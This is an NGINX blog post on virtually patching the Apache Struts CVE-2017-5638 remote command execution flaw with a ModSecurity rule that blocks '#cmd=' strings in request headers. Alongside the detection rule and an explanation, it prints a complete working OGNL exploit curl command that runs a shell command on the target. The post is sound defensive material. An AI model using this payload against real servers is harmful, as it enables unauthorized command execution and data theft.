Using ModSecurity to Virtual Patch Apache Struts CVE-2017-5638
Many security vulnerabilities are found in libraries used by application code. When it’s impractical to quickly deploy a fix to code in a library, you may be able to use ModSecurity to intercept an exploit, “virtually patching” the affected code until you can upgrade the affected libraries.
The Apache Struts application library vulnerability (CVE-2017-5638), which led to the breach of 143 million accounts at Equifax, is an example of exploit that can be virtually patched. The signature of the vulnerability is the presence of #cmd=
or #cmds=
strings in the Content-Type
, Content-Disposition
, or Content-Length
HTTP headers. (More detailed explanation below)
Using ModSecurity, we can create a virtual patch with a simple rule that searches for the malicious strings in the affected HTTP headers:
SecRule REQUEST_HEADERS:Content-Type|REQUEST_HEADERS:Content-Length|REQUEST_HEADERS:Content-Disposition "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"
Using SecRule
we specify a new rule. The request headers to search for are specified in the first parameter to SecRule
, using the three REQUEST_HEADERS:
variables or’ed together we specify the request headers to search. The second parameter is the PERL-compatible regular expression (PCRE), as specified by @rx
, that searches the specified request headers for strings including #cmd=
or #cmds=
. The final parameter specifies the action to take. Any traffic that matches this would then trigger this rule and be dropped by ModSecurity, if ModSecurity is configured in active blocking mode.
Learn how to get started using NGINX and ModSecurity together with our ebook: ModSecurity 3.0 and NGINX: Quick Start Guide
Why Virtual Patch?
In a lot of cases it will be quicker to deploy a rule in ModSecurity than patch the affected code, retest, and the deploy to production.
Using the Apache Struts vulnerability as an example, updating it in an enterprise production environment can take some time to complete as Apache Struts is an application library and not an operating system package. As part of upgrading to a new version of Struts, each Struts-dependent application needs to be rebuilt and tested with the latest Struts library. At a large organization there can be hundreds of applications, each with their own version of the Struts application library, leaving the organization vulnerable until every single application is updated.
By having the ModSecurity custom rule in place, you can then patch the production software carefully, and on a reasonable schedule, without the pressure of being vulnerable. Once all the affected software is updated, the custom rule can then be decommissioned.
How the CVE-2017-5638 Exploit Works
Apache Struts CVE-2017-5638 is a remote command execution (RCE) vulnerability. This type of vulnerability allows the attacker to run arbitrary commands, such as /bin/bash or cmd.exe, on target systems. Having gained the ability to run arbitrary commands on the system, the attacker can then search the file system and the network for sensitive data, with the same level of access as the Java application server. For example, if the Java application server is running as root, then the attacker will have root access to the target system.
The vulnerability occurs when an attacker sends a malformed Content-Type
, Content-Disposition
, or Content-Length
HTTP header, according to the official CVE. Apache Struts throws an exception when those HTTP headers don’t match any of the expected values. The problem occurs because the exception handling code attempts to print the unescaped, invalid header. (In this context, “unescaped” means that the suspect commands are not prepended with characters that prevent them from being executed – escape characters – as would normally be done when one wants to print code.)
The attacker can put in an Object Graph Navigation Library (OGNL) expression into the Content-Type header. OGNL has the ability to run system commands. When the unescaped, invalid header is printed, the OGNL expression is evaluated, and any system commands within the OGNL expression are executed.
Exploits typically are a variation on the curl
command below.
curl -H "Content-Type:%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com
The key syntax is in the second half of the command: threes instance of the #cmd=
string and two instances of the #cmds=
string. Each of these strings is followed by the system command to run.
Summary
The preferred solution is always to patch vulnerable software right away. But patching production software can be time-consuming, and rushing updates can be risky. Creating a virtual patch for vulnerable software with ModSecurity can buy time.
With virtual patching, you create a custom ModSecurity rule to block traffic that would exploit the security vulnerability, such as CVE-2017-5638. By doing so, you protect your site from the attack. You can then patch the production servers carefully, and on a reasonable schedule, without the fear of being victimized in the meantime.
If you’d like to learn more about ModSecurity and the NGINX WAF, please download our ebook: ModSecurity 3.0 and NGINX: Quick Start Guide.
Resources
The following resources were used in creating this blog post.
- CVE-2017-5638 detail from NIST – The official CVE notice
- CVE-2017-5638: Anatomy of the Apache Struts Vulnerability – A valuable overview of the vulnerability
- Apache Struts CVE-2017-5638 Security Alert – Apache Struts page on the security vulnerability, with a workaround
- ArsTechnica forum user comment – Insightful comment from an ArsTechnica forum member on why patching Apache Struts is not easy to do
The post Using ModSecurity to Virtual Patch Apache Struts CVE-2017-5638 appeared first on NGINX.
Source: Using ModSecurity to Virtual Patch Apache Struts CVE-2017-5638
Leave a Reply